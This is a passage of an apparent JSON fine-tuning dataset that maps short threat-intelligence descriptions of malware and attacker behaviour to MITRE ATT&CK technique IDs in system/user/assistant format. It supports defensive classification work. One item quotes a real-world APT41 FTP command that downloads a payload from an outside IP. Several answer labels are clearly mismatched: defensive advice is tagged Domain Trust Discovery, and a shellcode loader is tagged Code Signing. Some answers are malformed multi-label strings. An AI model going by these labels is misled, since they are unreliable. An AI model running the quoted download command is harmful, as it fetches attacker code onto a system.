                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used the command `net localgroup \"adminstrator\" ` to identify accounts with local administrator rights."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VERMIN can perform screen captures of the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system. FLASHFLOOD will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. FLASHFLOOD also collects information stored in the Windows Address Book."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suckfly the victim's internal network for hosts with ports 8080, 5900, and 40 open."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors were observed creating a new sign-in policy to bypass MFA requirements to maintain access to the victim network."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can write or modify browser shortcuts to enable launching of malicious browser extensions."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt)."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sykipot may gather a list of running processes by running \"tasklist /v\"."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate has the ability to inject its fourth stage into a suspended process created by the legitimate Windows utility `InstallUtil.exe`."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EnvyScout can write files to disk with JavaScript using a modified version of the open-source tool FileSaver."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot uses module networkDll for process list discovery."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has a command to list files on a system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT adds itself to the Registry key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\" to establish persistence upon reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has injected into running processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADCALL encrypts C2 traffic using an XOR/ADD cipher."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWizard has been named `exec_32.dll` to mimic a legitimate MS Outlook .dll."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The file is named netwf.dat"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stealth Falcon malware uses WMI to script data collection and command execution on the victim."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUBBLEWRAP can communicate using SOCKS."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer has used a Trojanized version of the Windows Notepad application for an additional backdoor persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM leveraged valid accounts to maintain access to a victim network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor"
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The body of the POST request may contain files contained in the cabinet format"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chrommme can collect data from a local system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REDBALDKNIGHT’s use of steganography isn’t limited to Daserf. Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell. While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file"
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception has enumerated installed software on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat is capable of deleting the backdoor file."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon has used compromised VPN accounts to gain access to victim systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts', 'T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used remote code execution to download subsequent payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Bazar loader has used dual-extension executable files such as PreviewReport.DOC.exe."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has established persistence by being copied to the Startup directory or through the `\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu can gather information about the victim proxy server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been known to stage files for exfiltration in a single location."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has transferred files using the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to set up a proxy tunnel to allow remote host access to an infected host."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adds a Registry Run key for persistence and adds a script in the Startup folder to deploy the payload."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Look for traffic to any of the related malicious domains identified in Appendix A. Use the signatures provided by FireEye to identify related activity. Make sure all credentials in an organization, including service accounts, are reset following a breach and that default passwords or those similar to previous passwords are not used. If you run an on-premise Exchange environment, consider adding alerting mechanisms to any EDR solutions for processes using the Exchange Management Shell PowerShell cmdlets listed in Appendix B. This may or may not be a valid detection approach depending on how frequently this is used within your organization. More generally, if the Exchange Management Shell is rarely used in a legitimate Administrative context, it may be worth investigating any historical use of this shell"
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FlawedAmmyy has sent data collected from a compromised host to its C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck enumerates all running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can find the presence of a specific security software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilGrab has the capability to capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used Web shells and HTRAN for C2 and to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CALENDAR has a command to run cmd.exe to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi collects current and parent process IDs."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has been delivered as an unsigned MSI package that was executed with \"msiexec.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BBK can extract a malicious Portable Executable (PE) from a photo."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has used various API calls as part of its checks to see if the malware is running in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can modify the binary ACL to prevent security tools from running."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We also identified a Tomiris variant (internally named “SBZ”, MD5 51AA89452A9E57F646AB64BE6217788E) which acts as a filestealer, and uploads any recent file matching a hardcoded set of extensions (.doc, .docx, .pdf, .rar, etc. to the C2"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Procmon shows the malicious module loaded using the regsvr32.exe process.   Phase two: Payload Analysis    The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth encodes data using Base64 before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADNEWS typically loads its DLL file into a legitimate signed Java or VMware executable."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao can download additional files to the infected system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER typically use \"ping\" and Net to enumerate systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has created new email accounts for targeting efforts."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. This is then written to a file named \"ldb_e.log\" in Windows System directory"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has deployed a tool known as DarkComet to the Startup folder of a victim, and used Registry run keys to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A SUGARDUMP variant has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa exfiltrated data over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has created admin accounts on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Victim Registration SpeakUp uses POST and GET requests over HTTP to communicate with its main C&C which is the compromised website of speakupomaha[.]com"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle relies on a victim to click on a malicious document for initial execution."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 developed SUNSPOT, SUNBURST, TEARDROP, and Raindrop; SUNSPOT and SUNBURST were tailored to be incorporated into SolarWind's Orion software library."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has conducted credential phishing campaigns with embedded links to attacker-controlled domains."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "11/1/18 sahro.bella7 trala.cosh2 Bishtr.cam47 Lobrek.chizh Cervot.woprov    Table 5 Gathered C# Cannon samples As mentioned in our initial blog, the actor controlled email address acting as the C2 was sahro.bella7[at]post.cz, but all previous samples of Cannon used sym777.g[at]post.cz"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used WinRAR to compress and encrypt stolen data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gold Dragon checks for anti-malware products and processes."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This is the only instance we observed where a hardcoded Google Drive URL was included in RogueRobin, which may suggest that the author may have overlooked this during testing"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode loader was observed on one infected device as updater.exe with the Metasploit-style service name APTYnDS1ABEuUHEA, indicating that it was installed as a service"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy has a download and upload functionality."
            },
            {
                "role": "assistant",
